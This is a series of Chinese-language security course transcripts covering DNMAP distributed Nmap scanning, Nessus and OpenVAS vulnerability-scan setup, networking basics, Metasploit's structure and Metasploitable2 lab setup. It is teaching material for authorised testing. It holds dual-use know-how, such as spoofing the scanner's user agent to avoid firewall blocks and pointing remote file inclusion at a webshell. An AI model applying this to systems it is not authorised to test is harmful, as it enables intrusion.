记住,Zenmap 是 Nmap 命令的图形化封装,其核心依然是 Nmap 的强大功能。掌握 Zenmap 能让你更高效地进行信息收集,为后续的渗透测试步骤打下坚实基础。



课程 P57:10.4 - 【漏洞扫描工具系列】实战:DNMAP分布式集群执行大量扫描任务 🚀
在本节课中,我们将要学习如何使用 DNMAP 工具进行分布式集群扫描,以高效地执行大量 Nmap 扫描任务。我们将从 DNMAP 的基本概念讲起,逐步演示其服务端与客户端的配置、连接以及任务执行的全过程。
概述
当我们需要同时对数百台甚至更多目标主机进行 Nmap 扫描时,单台机器顺序执行会非常缓慢。DNMAP 是一个用 Python 编写的分布式 Nmap 扫描框架,它采用客户端-服务器(C/S)架构,能够协调多台机器同时执行扫描任务,并将结果统一管理,从而显著提升扫描效率。
什么是 DNMAP? 🤔
DNMAP 是一个用于进行分布式扫描的 Nmap 扫描框架。它允许我们通过多台机器发起大规模扫描。其核心是 C/S 结构,在执行大量扫描任务时非常便捷,并且扫描结果可以统一管理。
为了理解其工作原理,我们可以模拟一个场景:假设有一台位于北京的服务器(DNMAP Server),以及三台分布在上海、南京和美国的客户端(DNMAP Client)。只要网络互通,服务器就可以将一个包含数百条 Nmap 扫描命令的文件,分发给各个客户端去执行。客户端完成扫描后,会将结果统一发送回服务器进行存储。
DNMAP 的组成


DNMAP 包含两个可执行文件:
dnmap_client:客户端程序。dnmap_server:服务端程序。
在进行分布式扫描前,我们需要先在一台机器上启动 dnmap_server 生成服务端,然后在其他机器上使用 dnmap_client 连接到该服务端。
上一节我们介绍了 DNMAP 的基本概念和组成,本节中我们来看看如何具体配置和使用它。

实战:配置与使用 DNMAP
以下是在 Kali Linux 中配置和使用 DNMAP 的完整步骤。Kali Linux 系统已自带 DNMAP 工具。

1. 生成 TLS 连接证书

首先,需要在服务端生成证书文件,因为客户端连接服务端时需要 TLS 认证。DNMAP 自带的证书文件过于陈旧,必须重新生成。


执行以下命令生成新证书:
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj “/C=CN/ST=Beijing/L=Changping/O=XueShen/OU=IT/CN=xueshen.cn/emailAddress=root@163.com” -keyout key.pem -out server.pem
执行过程中,需要输入一些信息(如国家、城市、组织等),可按示例填写或随意填写。


生成证书后,需要将私钥文件的内容追加到证书文件后面:
cat key.pem >> server.pem
现在,我们得到了 server.pem 和 key.pem 两个文件,其中 server.pem 是合并后的证书,将用于服务端。
2. 创建 Nmap 命令文件
接下来,创建一个文本文件(例如 nmap.txt),其中包含需要客户端执行的所有 Nmap 扫描命令。

以下是命令文件内容示例:
nmap -sS -p 80 192.168.1.30-33
nmap -sV 192.168.1.100
nmap -O 192.168.1.200
每个命令占一行。你可以根据需要添加各种 Nmap 参数,如服务发现(-sV)或操作系统探测(-O)。保存该文件。
3. 启动 DNMAP 服务端

在服务端机器上,使用以下命令启动 DNMAP 服务端:
dnmap_server -f nmap.txt -c server.pem
-f nmap.txt:指定包含 Nmap 命令的文件。-c server.pem:指定 TLS 连接使用的证书文件。

服务端启动后,会监听默认的 46001 端口,等待客户端连接。
4. 启动 DNMAP 客户端并连接

在每台客户端机器上,使用以下命令连接到 DNMAP 服务端:
dnmap_client -s 192.168.1.100 -p 46001
-s 192.168.1.100:指定 DNMAP 服务端的 IP 地址。-p 46001:指定服务端的端口(如果使用默认端口,可省略-p参数)。
当客户端成功连接后,服务端会按照一定机制自动将 nmap.txt 文件中的命令任务分发给各个客户端执行。
5. 查看扫描过程与结果
在服务端控制台,你可以看到在线的客户端数量以及任务分配状态。每个客户端执行完分配的任务后,会将结果发送回服务端。
所有扫描结果会统一存储在服务端的一个目录中(例如 nmap_results/),每个命令的扫描结果对应一个独立的文件。你可以像查看普通 Nmap 扫描结果一样查看这些文件。
此外,服务端还会生成一个 dnmap.txt.dnmap 状态文件,用于记录任务分配进度,确保不会将同一任务重复分配给不同的客户端。

总结

本节课中我们一起学习了 DNMAP 分布式扫描工具。我们了解了其 C/S 架构的工作原理,并逐步实践了从生成证书、创建扫描命令、启动服务端到连接客户端并执行任务的完整流程。通过 DNMAP,我们可以有效地利用多台机器并行执行大规模的 Nmap 扫描,并将结果集中管理,这在实战渗透测试或大规模网络资产探测中非常有用。
课程P58:10.5-【漏洞扫描工具系列】NESSUS安装配置 🛠️
在本节课中,我们将学习漏洞扫描工具Nessus的安装与配置过程。我们将从了解其背景开始,逐步完成软件下载、安装、激活以及插件初始化,最终使其能够对操作系统或Web站点进行漏洞检测。
Nessus简介



Nessus是一款功能强大的远程系统安全扫描工具。它最初于1998年由四人团队发起,旨在为互联网社区提供一个免费、强大、更新频繁且易于使用的扫描工具。

2002年,其创始人成立了Tenable Network Security机构。在Nessus第三版发布时,该机构收回了Nessus的版权与源代码,并将其注册为官方网站。目前该机构位于美国马里兰州的哥伦比亚。
环境准备与内存调整
由于Nessus运行时占用内存较大,建议在安装和使用前,将虚拟机内存调整至6GB到8GB。具体调整需根据物理机的实际内存容量来决定,避免因分配过多内存导致主机运行缓慢。
以下是调整虚拟机内存的步骤:
- 关闭虚拟机。
- 右键点击虚拟机,选择“设置”。
- 在设置界面中找到内存选项,修改为所需大小。
- 保存设置并重新启动虚拟机。
下载Nessus安装包
Nessus官方网站提供了适用于多个平台的安装包,包括Linux(RPM/DEB格式)和Windows系统。版本越新,其功能通常越强大,插件库也越新,能检测出更多老版本无法发现的漏洞。


在本教程中,我们将安装6.12.1版本的DEB包。选择此版本的原因是:从Nessus 7.0版本开始,增加了远程调用认证,导致Metasploit框架中的相关插件无法直接调用新版Nessus。而6.12.1版本可以与Metasploit无缝集成,便于通过命令自动化执行扫描任务和导出报告。
如果你不考虑使用Metasploit调用Nessus,则可以安装任意最新版本。

安装与启动Nessus

上一节我们介绍了如何选择版本,本节中我们来看看具体的安装步骤。
首先,使用终端工具(如Xshell)连接到Kali Linux系统,并将Nessus安装包和插件包上传至系统。
以下是安装过程的核心命令:
# 使用dpkg命令安装.deb格式的软件包
dpkg -i Nessus-6.12.1-debian6_amd64.deb
# 安装完成后,使用以下命令启动Nessus服务
/etc/init.d/nessusd start
启动成功后,Nessus服务将运行在8834端口。
初始配置与激活
服务启动后,需要通过Google Chrome浏览器访问 https://<你的Kali_IP>:8834 进行初始配置。其他浏览器可能无法正常访问。
访问后,按以下步骤操作:
- 忽略浏览器关于HTTPS证书的警告,继续访问。
- 根据提示创建一个管理员账户(用户名和密码可自行设定)。
- 进入激活环节时,选择“离线激活”。
离线激活需要获取激活码,流程如下:
- 复制页面上提供的“挑战码”。
- 在浏览器新标签页中访问Tenable官方的激活码申请页面。
- 填写姓名和有效的电子邮箱(激活码将发送至此邮箱)。
- 登录邮箱,查收并复制收到的激活码。
- 回到Nessus激活页面,分别粘贴“挑战码”和“激活码”,完成激活。
请注意,每个激活码通常只能使用一次。
安装扫描插件
激活完成后,即可登录Nessus Web界面。但此时还不能立即进行扫描,需要先安装漏洞扫描插件。
插件可以通过Web界面提供的链接在线下载,但速度较慢。因此,我们使用课前准备好的插件包进行离线安装。


以下是安装插件的命令:
# 进入插件包所在目录,执行安装命令
/opt/nessus/sbin/nessuscli update all-2.0.tar.gz
插件安装过程可能较长,需要耐心等待,期间请勿进行其他操作或中断进程。

安装完成后,重启Nessus服务以使插件生效:
# 重启Nessus服务
/etc/init.d/nessusd restart
服务重启后,再次通过浏览器访问Nessus。系统会进行插件初始化,这个过程同样需要较长时间(可能半小时到数小时),请务必耐心等待直至完成。

总结

本节课中我们一起学习了Nessus漏洞扫描工具的完整安装与配置流程。我们了解了Nessus的背景,完成了环境准备、软件安装、服务启动、离线激活以及核心插件的安装。配置完成后,Nessus便具备了基本的漏洞扫描能力,为后续对目标系统或Web应用进行安全检测打下了基础。记住,插件的初始化过程需要耐心等待,这是成功使用Nessus的关键一步。
课程P59:10.6-【漏洞扫描工具系列】配置扫描Windows主机 🖥️🔍
在本节课中,我们将学习如何使用OpenVAS(NAS)漏洞扫描工具来配置并执行对Windows主机的扫描。我们将从登录和基本设置开始,逐步讲解如何创建扫描任务、配置各项扫描参数,并最终查看和分析扫描结果。
概述与登录
首先,我们需要登录到OpenVAS的管理界面。假设目标Windows XP主机的IP地址是192.168.1.154。
登录后,界面语言默认为中文。我们可以通过点击“Settings”将其更改为英文,以便于后续操作。
在“Settings”中,可以管理用户、进行高级设置、配置代理服务器以及设置SMTP邮件服务器。邮件服务器用于在计划扫描任务完成后,自动发送报告到指定邮箱。
创建扫描任务
接下来,我们开始创建一个新的扫描任务。点击“Scans”,然后选择“New Scan”。
在创建新扫描的界面中,我们需要为任务命名,例如“XP_Scan”。目标(Target)可以设置为单个IP地址(如192.168.1.154)、IP地址段、域名,或者通过上传包含多个目标的文本文件来指定。
计划任务(Schedule)允许我们设置扫描的执行频率,例如一次性、每天、每周等。通知(Alerts)功能则可以在扫描完成后,通过邮件发送报告,但这需要提前配置好SMTP服务器。
报告(Report)设置允许我们自定义扫描报告的详细程度和内容。例如,可以选择是否启用覆盖模式以节省磁盘空间,或者是否在报告中显示被替代的修补程序信息。
配置扫描参数
主机发现
在“Discovery”部分,我们可以配置主机发现选项。默认启用了“Ping the remote host”功能。其下有两个子选项:
- Test the local...: 表示在扫描目标主机时,是否也扫描本机。
- Fast network discovery: 启用快速网络发现,可能会绕过一些额外的测试以提高速度,但可能牺牲一些准确性。
探测方式(Ping Method)提供了多种选择,如ARP(仅限局域网)、TCP、ICMP和UDP。我们还可以设置扫描网络打印机或启用网络唤醒(Wake-on-LAN)功能。
端口扫描
“Port Scanning”部分用于配置端口扫描。我们可以设置端口扫描的范围:
- Default: 扫描约4790个常见端口。
- All: 进行全端口扫描(1-65535)。
- 也可以自定义范围,例如
80, 21, 22, 3306或T:1-1024(扫描TCP协议的1-1024端口)。
本地端口枚举(Local Port Enumerators)提供了多种方式,如SSH、WMI等,通常用于需要身份验证的场景。网络端口扫描(Network Port Scanners)则包括TCP SYN扫描(半连接扫描,较隐蔽)、TCP全连接扫描和UDP扫描。
服务与漏洞扫描
在“Service”发现中,我们可以设置对所有端口上的服务进行探测,以及对SSL/TLS服务进行探测。可以指定检查在特定天数(如60天)内到期的SSL证书。
“Scan”选项卡下的设置关乎扫描的侵入性和精度。例如,“Thorough tests”选项会进行更彻底的测试,可能获得更精确的结果,但也更具侵入性,可能影响目标主机。
Windows特定设置
由于我们的目标是Windows主机,可以在“Windows”部分进行相关配置。例如,可以启用“Request information about SMB domains”来获取SMB域信息,或设置用户枚举的ID范围。
如果需要对Windows主机进行更深入的扫描(如检查恶意软件),可以在“Credentials”部分添加主机的登录凭证(用户名和密码)。
插件管理
“Plugins”部分管理扫描时使用的漏洞检测插件。我们可以根据目标主机的情况,启用或禁用特定的插件组或单个插件。例如,如果目标没有数据库服务,可以禁用数据库相关的插件组以提高扫描效率。
执行扫描与查看结果
所有参数配置完成后,点击“Save”保存任务,然后点击“Start”开始扫描。
扫描过程中,界面会实时显示发现的漏洞信息。扫描完成后,结果会按危险等级(高、中、低、信息)分类显示。

我们可以点击某个具体的漏洞,查看其详细描述、影响、解决方案以及相关的参考链接。报告还会指出该漏洞是通过哪个端口、哪个插件发现的。

总结

本节课我们一起学习了使用OpenVAS对Windows主机进行漏洞扫描的完整流程。我们从登录和基本设置开始,详细讲解了如何创建扫描任务,并逐步配置了主机发现、端口扫描、服务探测、Windows特定设置以及插件管理等关键参数。最后,我们执行了扫描并学习了如何查看和分析扫描报告。通过实践,你可以根据不同的目标环境调整这些设置,以进行更有效、更精准的漏洞扫描。
网络安全基础课程 P6:2.2 - 网络基础概念与通信原理 🌐
在本节课中,我们将学习计算机网络的基础概念,包括网络的定义、分类以及局域网内部和局域网之间的通信原理。我们将通过简单的比喻和图示,帮助你理解数据包是如何在网络中传输的。
网络的定义与由来
上一节我们介绍了课程的整体框架,本节中我们来看看网络到底是什么。
网络的概念源于美国军方的需求。在美苏争霸时期,美国军方希望解决指挥中心被摧毁后,数据和指挥能力能快速转移到其他地方的问题。基于这个需求,科学家们开始了研究。
网络的定义是:利用通信介质(也称为传输介质),将分布在世界各地不同地理位置、具有独立功能的计算机和通信设备连接起来,通过网络协议实现资源共享和信息传递的计算机系统。
通信介质分为两大类:
- 导向式传输介质:看得见、摸得着的物理线路,例如网线、光纤、同轴电缆。
- 非导向式传输介质:看不见、摸不着的无线信号,例如蓝牙、Wi-Fi、卫星通信。

资源共享指的是共享计算机的算力(CPU)、存储空间以及文件等资源。

网络的分类
理解了网络是什么之后,我们来看看网络有哪些常见的分类方式。
网络通常按照覆盖的地理范围进行分类,主要分为以下三种:
- 局域网:覆盖范围较小,例如一个公司、一栋大楼或一个家庭内部的网络。
- 城域网:覆盖范围为一个城市,例如整个北京市或某个区的网络。
- 广域网:覆盖范围最广,可以跨越国家或大洲,我们常说的互联网就是最大的广域网。
在网络安全学习中,我们主要关注的是局域网内部的通信和安全问题。


局域网内的通信:交换网络
接下来,我们深入了解一下局域网内部计算机是如何通信的。这涉及到交换网络的概念。
假设在一个公司部门(如教学部)内有两台电脑需要通信。它们通过网线连接到一个中心设备——交换机上。
以下是通信过程的关键组件和步骤:
- 网卡:每台电脑都配有网卡(调制解调器),负责将电脑中的数据转换为可以通过网线传输的电信号,反之亦然。网卡拥有全球唯一的物理地址(MAC地址),格式如
AA-BB-CC-DD-EE-FF。 - 数据包:当一台电脑(如黄老师的电脑)向另一台电脑(如李老师的电脑)发送消息时,信息会被封装成一个数据包。数据包的基本格式为:
源MAC地址 + 目标MAC地址 + 数据内容 - 交换机的工作:交换机内部维护着一个 MAC地址表,记录了哪个MAC地址连接在它的哪个物理端口上。
- 当数据包到达交换机后,交换机会查看数据包中的目标MAC地址。
- 然后它在自己的MAC地址表中查找这个地址。
- 如果找到,交换机就将数据包仅从对应的端口转发出去,直接送达目标电脑。
- 如果找不到,交换机会进行广播,即向除接收端口外的所有端口发送这个数据包,询问“谁是这个MAC地址?”。
广播风暴:如果网络中广播过多,所有设备都需要处理这些广播包,会大量消耗网络带宽和设备资源(CPU、内存),导致网络变慢甚至设备瘫痪,这就形成了广播风暴。广播风暴本身也可以被利用为一种网络攻击手段。
网卡工作模式:
- 全双工:可以同时进行发送和接收(如常见的有线网卡),效率高。
- 半双工:同一时间只能进行发送或接收(如一些无线网卡),效率相对较低。这也是有线网络通常感觉比无线网络快的原因之一。
局域网之间的通信:路由网络
现在,我们来看看不同局域网之间(例如公司不同部门之间)的计算机如何通信。这需要一个新的设备——路由器。
假设教学部的黄老师想给销售部的点点发送一条消息。他们的电脑分别连接在不同的交换机上,而这两个交换机又都连接到了公司的主路由器。
以下是跨局域网通信的过程:
- 黄老师电脑的数据包首先到达教学部的交换机。
- 交换机发现目标MAC地址不在本局域网内,于是将数据包转发给它的上级设备——路由器。
- 路由器是三层设备,它查看数据包中的目标IP地址(逻辑地址,如
192.168.2.10)。 - 路由器内部维护着一张 路由表,记录了去往不同IP地址段应该走哪个端口。
- 路由器判断目标IP地址属于销售部的网络段,于是将数据包从对应端口转发给销售部的交换机。
- 销售部的交换机收到后,再通过查找MAC地址表,将数据包最终转发给点点同学的电脑。
路由器的作用:
- 网关:连接不同的网络段,实现跨网段通信,就像连接两个房间的门。
- 隔离广播域:路由器不会转发广播包,因此它能将广播风暴限制在一个局域网内,防止其扩散到整个网络。
从安全角度看,在网络层(路由器)我们可以实施多种控制,例如:
- 通过策略阻断特定IP地址的访问(让某个部门断网)。
- 进行ARP欺骗,篡改或伪造网络中的通信信息。
总结与工具推荐
本节课中我们一起学习了网络的基础知识。我们从网络的定义和由来开始,了解了网络是利用通信介质连接计算机以实现资源共享的系统。接着,我们学习了网络的分类,特别是局域网。然后,我们深入探讨了局域网内部的交换通信原理(依赖MAC地址和交换机),以及局域网之间的路由通信原理(依赖IP地址和路由器)。我们还提到了广播风暴、网卡工作模式等概念,并简单触及了这些原理在网络安全中的应用场景。
最后,推荐一款绘制网络拓扑图的工具:亿图图示。它可以用来绘制架构图、流程图、网络拓扑图等,非常适合学习和工作使用。

本节课中我们一起学习了:
- 网络的定义与核心组成(通信介质、资源共享)。
- 网络按范围的分类(局域网、城域网、广域网)。
- 局域网内基于MAC地址和交换机的通信机制。
- 跨局域网基于IP地址和路由器的通信机制。
- 广播风暴、网卡模式等基础概念及其安全意义。

课程P60:10.7 - 【漏洞扫描工具系列】配置扫描Web服务 🔍

在本节课中,我们将学习如何使用Nessus漏洞扫描工具,针对Web服务进行详细的配置扫描。我们将从创建扫描任务开始,逐步讲解扫描模板选择、目标设置、端口扫描选项以及Web应用程序测试的各项高级参数配置,确保初学者能够理解并掌握完整的Web漏洞扫描流程。

新建扫描任务
上一节我们介绍了Nessus的基本概念,本节中我们来看看如何创建一个针对Web服务的扫描任务。
首先,在Nessus界面中点击“New Scan”来新建一个扫描任务。

选择扫描模板
在扫描模板选择界面,我们需要选择最后一个模板:Web Application Test。

点击该模板后,进入任务配置页面。
配置基本设置
以下是配置扫描任务的基本步骤:
- 命名与目标:为扫描任务起一个名称,例如“xueg_w”。在目标地址栏中,填入要扫描的网站地址,例如
www.xueg.cn。 - 计划与通知:可以设置计划任务和扫描结果通知,本节课中我们暂不设置。
- 主机发现:默认是常规端口扫描。通常,我们会选择进行全端口扫描(1-65535)。

配置Web应用扫描选项
接下来,我们重点配置Web应用程序扫描的相关选项。这些设置决定了扫描的深度、广度和精确性。
扫描策略选择
默认选项是“快速扫描所有Web漏洞”。此外还有“扫描已知的Web漏洞”和另一种“扫描所有Web漏洞”的选项。在实际操作中,可以对同一站点尝试不同选项,以对比扫描结果的差异。
选择“自定义”选项后,可以进入更详细的设置。
通用设置
在通用设置中,主要针对扫描的精确性进行调整。
- 覆盖常规警告:此选项下有两个子项。
- 避免潜在的错误警报:选中后,Nessus会过滤掉可能产生误报的漏洞,不在报告中显示。
- 显示潜在的误报:即使某些漏洞可能是误报,也会在结果中显示出来。本节课中我们不选择此项。
- 执行彻底测试:这种测试方式更为深入,但可能会影响目标网络或显著降低扫描速度。
Web应用程序设置
以下是Web应用程序扫描的核心配置项:
- 用户代理:这是一个标识客户端(如浏览器)信息的字符串。修改它可以伪装请求来源,避免被目标服务器的防火墙识别为扫描工具而封锁。例如,可以将其修改为常见浏览器的标识。
- 代码示例:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
- 代码示例:
- 网络爬虫:用于自动抓取网站页面信息。
- 起始页面:指定爬虫开始抓取的第一个页面。
- 排除页面:指定在爬行过程中不扫描的页面(例如登录/退出页面,扫描它们可能导致会话中断)。
- 最大页面数:限制爬虫抓取的总页面数,默认是1000页。
- 爬行深度:限制从起始页面点击链接进入的层级深度,默认是6层。
- 跟随动态生成页面:启用后,爬虫会尝试跟随由不同参数生成的动态页面进行抓取。
测试方法设置
以下是关于测试方法的详细配置:
- HTTP登录失败处理:如果目标网站需要登录后才能扫描,此选项决定登录失败后是否终止Web应用测试。
- 尝试所有HTTP方法:Nessus默认主要使用GET方法扫描,启用此项后会尝试使用POST等其他方法。
- 尝试HTTP参数污染:测试在GET传参时,使用同名参数(参数污染)可能引发的漏洞。
- 测试嵌入式Web服务器:对网站中可能嵌入的其他Web服务进行测试。
- 表单测试策略:针对网站中的表单(如留言板、登录框)进行测试的方式。
- 测试随机成对的参数:使用Nessus随机生成的参数对进行提交测试。
- 测试所有成对的参数:测试所有可能的参数组合,更精确但速度较慢。
- 测试随机组合的多个参数:测试三个或更多参数的随机组合,更彻底但速度更慢。
- 测试参数的所有组合:测试攻击字符串与所有有效输入变量的可能组合,最全面也最耗时。
- 发现漏洞后的行为:
- 找到一个漏洞后停止扫描该页面:默认行为。
- 每个参数发现一个漏洞后停止扫描:针对每个输入点,找到一个漏洞即停止。
- 查找所有漏洞:无论是否找到漏洞,都继续进行完整扫描。为了全面性,建议选择此项。
- 远程文件包含URL:如果目标存在远程文件包含漏洞,可在此指定攻击者希望包含的远程文件URL(例如一句话木马)。
- 测试时间限制:设置Web应用程序测试的总时间(单位:分钟),默认是5分钟。超时后扫描自动停止。
认证设置
对于需要登录后才能扫描的网站(例如DVWA靶场),需要在此配置凭证。
- 认证方式:默认通过HTTP表单登录(HTTP login form)。
- 登录信息:需要填写用户名、密码、登录页面URL、表单提交的URL(action)、以及登录使用的字段名(通常为
username和password)。 - 登录验证:需要指定登录成功后,响应页面中包含的某个唯一标识字符串(例如“Welcome”或“Logout”),用于Nessus判断认证是否成功。
- 高级选项:
- 认证尝试延迟:在每次登录尝试间加入延迟,避免触发目标账户的锁定机制。
- 跟随重定向:如果登录后服务器返回3xx重定向代码,Nessus会跟随跳转。
- 在HTTP头中匹配:选中后,Nessus会在HTTP响应头(Header)中搜索认证状态标识,而不是在网页内容(Body)中搜索。
- 忽略大小写匹配:使正则表达式匹配对大小写不敏感。
完成所有配置后,点击“Save”保存任务,然后点击“Launch”启动扫描。

查看扫描结果
扫描开始后,可以进入扫描任务查看实时结果和进度。以示例网站 www.xueg.cn 为例,扫描结果显示其不存在安全漏洞,仅检测到开放的21端口(FTP)和80端口(HTTP),这属于正常情况。






课程总结 📝
本节课中我们一起学习了使用Nessus配置和进行Web服务漏洞扫描的完整流程。

我们首先创建了一个新的扫描任务,并选择了专门的Web应用测试模板。随后,详细讲解了目标设置、端口扫描范围以及最关键的Web应用程序扫描配置,包括爬虫设置、各种测试方法、漏洞发现策略以及针对需要认证的网站的凭证配置。

通过本课的学习,你应该能够独立配置Nessus,对目标Web服务执行一次全面、定制的漏洞扫描,并理解各项参数对扫描结果的影响。



课程P61:Metasploit渗透测试框架介绍 🛠️
在本节课中,我们将学习Metasploit渗透测试框架的基本概念、结构和使用方法。Metasploit是一个强大的平台,用于发现、利用和验证软件漏洞。通过本教程,你将了解其核心组件、版本差异以及基本操作流程。
框架概述与版本对比

Metasploit是一个渗透测试平台,它能够帮助安全人员查找、利用和验证漏洞。该平台主要包含两个版本:商业版(Metasploit Pro)和社区版(开源免费版)。Kali Linux系统自带的是社区版。

商业版提供更多高级功能,例如网页界面管理、自动化任务链、渗透测试报告生成以及更强的免杀(逃避杀毒软件)能力。用户可以免费试用商业版14天。社区版虽然功能相对较少,但已包含足够多的模块和工具,足以满足学习和基础渗透测试的需求。
框架结构与核心组件
上一节我们介绍了Metasploit的版本,本节中我们来看看它的核心架构。Metasploit框架的结构可以概括为基础库、核心模块和功能接口。
以下是其核心组成部分的简要说明:
-
基础库:
- Rex:框架最底层的组件,负责处理基础的网络套接字、协议实现和日志等功能。
- Framework Core:在Rex之上,为所有上层模块和插件提供交互接口。
- Framework Base:对Core库的扩展,提供了更简化的接口,主要用于支持用户界面与框架功能的调用。
-
六大核心模块:
- Exploit(渗透攻击模块):用于利用目标系统的已知漏洞。
- Auxiliary(辅助模块):用于执行信息收集、扫描和模糊测试等任务。
- Post(后渗透攻击模块):在成功利用漏洞并获得目标系统访问权限后,用于进行进一步的渗透操作。
- Payload(攻击载荷):在漏洞利用成功后,在目标系统上执行的代码,用于建立连接或执行特定操作。其本质是后门或木马程序。
- Encoder(编码器模块):对Payload进行编码,以绕过杀毒软件的检测(免杀)。
- NOP(空指令模块):提高Payload的稳定性和可靠性。
-
其他组件:
- 插件:用于集成第三方工具(如Nessus、OpenVAS)到Metasploit框架中。
- 接口:用户与框架交互的方式,最常用的是
msfconsole命令行接口。 - 功能程序:如
msfvenom,用于生成各种Payload(木马程序)。
目录结构解析
了解了框架的逻辑结构后,我们来看看它在文件系统中的实际组织方式。Metasploit框架在Kali Linux中的默认安装路径是 /usr/share/metasploit-framework。
以下是几个关键目录的说明:


/modules/:这是最重要的目录,存放了所有核心模块。其子目录直接对应六大模块,例如exploits/、auxiliary/、payloads/等。/lib/:包含框架的Ruby语言库文件。/plugins/:存放可以在运行时加载的插件。/scripts/:包含Meterpreter及其他脚本。/tools/:包含各种有用的命令行工具。
你可以通过终端进入该目录进行查看:
cd /usr/share/metasploit-framework
ls -la
总结


本节课中,我们一起学习了Metasploit渗透测试框架的基础知识。我们首先对比了其商业版与社区版的区别,然后深入探讨了框架的核心架构,包括基础库(Rex, Core, Base)、六大核心模块(Exploit, Auxiliary, Post, Payload, Encoder, NOP)以及其他功能组件。最后,我们浏览了框架在文件系统中的主要目录结构。掌握这些基础知识是后续进行实战渗透测试的前提。
P62:11.2-【Metasploit渗透】Metasploitable2-Linux 靶机系统介绍 🎯
在本节课中,我们将要学习如何搭建和配置 Metasploitable 2 靶机系统。这是一个专门为安全测试和漏洞演示设计的 Ubuntu 操作系统,我们将从下载解压开始,完成虚拟机的导入、网络配置、系统登录以及必要的初始化设置。
靶机系统概述
Metasploitable 2 是一个特别制作的 Ubuntu 操作系统,其核心基于 Debian。它与 Kali Linux 的核心相同,基本命令也基本一致。该系统被设计为安全工具,用于测试和演示常见的安全漏洞。版本 2 比上一个版本包含了更多可利用的安全漏洞。该虚拟机兼容 VMware、VirtualBox 和其他虚拟化平台。
上一节我们介绍了靶机的基本概念,本节中我们来看看如何具体搭建它。

虚拟机搭建步骤

搭建此靶机非常简单,主要步骤是解压压缩包并用虚拟机软件打开。
以下是详细的搭建流程:


- 解压文件:将下载的 Metasploitable 2 压缩包直接解压到当前文件夹。
- 打开虚拟机:启动你的虚拟机软件(如 VMware),点击“打开虚拟机”,然后导航到解压后的目录,选择
.vmx文件并打开。 - 调整网络设置(可选):在开启虚拟机之前,检查其网络适配器设置。默认模式为 NAT。如果你的其他虚拟机(如 Kali)使用的是桥接模式,请将此靶机的网络也改为桥接模式以保持网络环境一致。如果都使用 NAT 模式,则无需更改。
- 启动虚拟机:完成网络设置后,点击“开启此虚拟机”。在 VMware 中,可能会弹出“我已复制该虚拟机”的提示,选择它即可。
注意:整个安装过程就是解压并用虚拟机软件打开,操作比较简单。唯一需要注意的就是网络连接模式,需根据你的测试环境(NAT 或桥接)进行相应调整。
系统登录与初始配置
虚拟机启动后,会进入登录界面。系统已经预设了默认账户。
以下是登录和初始配置的步骤:
- 使用默认账户登录:系统会提示默认账号和密码均为
msfadmin。在login:后输入msfadmin,在Password:后输入msfadmin(Linux 系统输入密码时不显示字符,正常输入即可)。 - 释放鼠标焦点:登录后,鼠标可能会被锁定在虚拟机窗口内。要释放鼠标,需同时按下
Ctrl + Alt键。 - 设置 root 密码:默认登录的是普通用户。如需进行系统级配置,需要 root 权限。可以使用以下命令为 root 账户设置密码:
执行后,首先会要求输入当前用户sudo passwd rootmsfadmin的密码进行验证,然后即可设置并确认新的 root 密码。 - 切换至 root 账户:设置好 root 密码后,可以使用以下命令切换到 root 用户:
命令提示符从sudo -i$变为#,即表示已成功切换至 root 账户。
到目前为止,靶机已经可以正常使用。网络方面,系统默认通过 DHCP 获取 IP 地址,在大多数情况下无需手动设置即可进行网络通信。
(可选)配置静态 IP 地址

虽然 DHCP 获取的 IP 地址通常够用,但在某些特定测试场景下,你可能需要设置一个固定的静态 IP。

以下是配置静态 IP 的方法,此操作非必需:
- 使用
ifconfig命令查看当前获取到的动态 IP 地址。 - 编辑网络配置文件:
vi /etc/network/interfaces - 将
eth0网卡的配置从dhcp改为static,并添加以下行(请根据你的实际网络环境修改 IP 地址、子网掩码和网关):address 192.168.1.180 netmask 255.255.255.0 gateway 192.168.1.1注意:IP 地址应与你物理机在同一网段,且不能与网络中其他设备冲突。
- 保存并退出编辑器(在 vi 中按
Esc键,然后输入:wq并回车)。 - 重启网络服务使配置生效:
/etc/init.d/networking restart - 再次使用
ifconfig命令确认 IP 地址已修改成功。
创建虚拟机快照 📸
所有配置完成后,强烈建议为虚拟机创建一个快照。这样,在后续的渗透测试练习中,如果靶机系统被意外破坏,可以快速恢复到初始状态,无需重新搭建。
以下是创建快照的建议步骤:

- 首先,关闭客户机操作系统。
- 在虚拟机软件中,选择“虚拟机”菜单下的“快照” -> “拍摄快照”。
- 为快照起一个易于识别的名称(例如 “Initial_Setup”),然后点击确定。

提示:在虚拟机关机状态下创建快照,所占用的磁盘空间更小,也更稳定。

课程总结

本节课中,我们一起学习了 Metasploitable 2 靶机系统的完整搭建与配置流程。我们从解压虚拟机文件开始,完成了虚拟机的导入、网络模式的选择、系统的登录、root 账户密码的设置,并介绍了配置静态 IP 和创建系统快照的方法。现在,你已经拥有了一个包含多种预设漏洞的、可用于安全学习和测试的 Linux 靶机环境。在接下来的课程中,我们将以此为基础,开展渗透测试实践。
课程P63:11.3 - 【Metasploit渗透】Metasploit基本使用方法-1 🔧
在本节课中,我们将要学习Metasploit渗透测试框架的基本使用方法,包括其依赖的数据库、启动方式以及最核心的搜索与查看命令。掌握这些是后续进行有效渗透测试的基础。
数据库依赖与启动 🗄️


Metasploit框架需要使用PostgreSQL数据库来存储扫描报告和测试结果。
PostgreSQL是一个功能齐全的自由软件对象-关系数据库管理系统(ORDBMS)。它基于加州大学开发的POSTGRES 4.2版本。与之对应的是另一个常见的关系型数据库管理系统MySQL。


两者的主要应用场景区别如下:
- PostgreSQL:更适合要求严格的企业应用场景,如金融、电信、ERP、CRM等系统。
- MySQL:更适合业务逻辑相对简单、数据可靠性要求较低的互联网场景。

在使用Metasploit之前,需要先启动并设置PostgreSQL数据库开机自启。

以下是启动和设置数据库的命令:
systemctl start postgresql # 启动PostgreSQL数据库
systemctl enable postgresql # 设置PostgreSQL开机自启动
数据库启动后,即可进入Metasploit框架。



进入Metasploit框架 🚪
有两种方式可以启动Metasploit框架:
- 在Kali Linux的应用程序菜单中点击“Metasploit”图标。
- 在命令行终端中输入
msfconsole命令。
第一次启动 msfconsole 时可能会较慢,因为它需要初始化。如果出现“no database support”的错误提示,说明需要初始化数据库。

解决方法是先退出msfconsole,执行以下命令初始化数据库,然后再次启动:
msfdb init # 初始化Metasploit数据库
msfconsole # 再次启动Metasploit控制台

成功进入后,会显示框架版本、各类型模块的数量,并且提示符会变为 msf5 > 或 msf6 >。
核心命令概览 📋

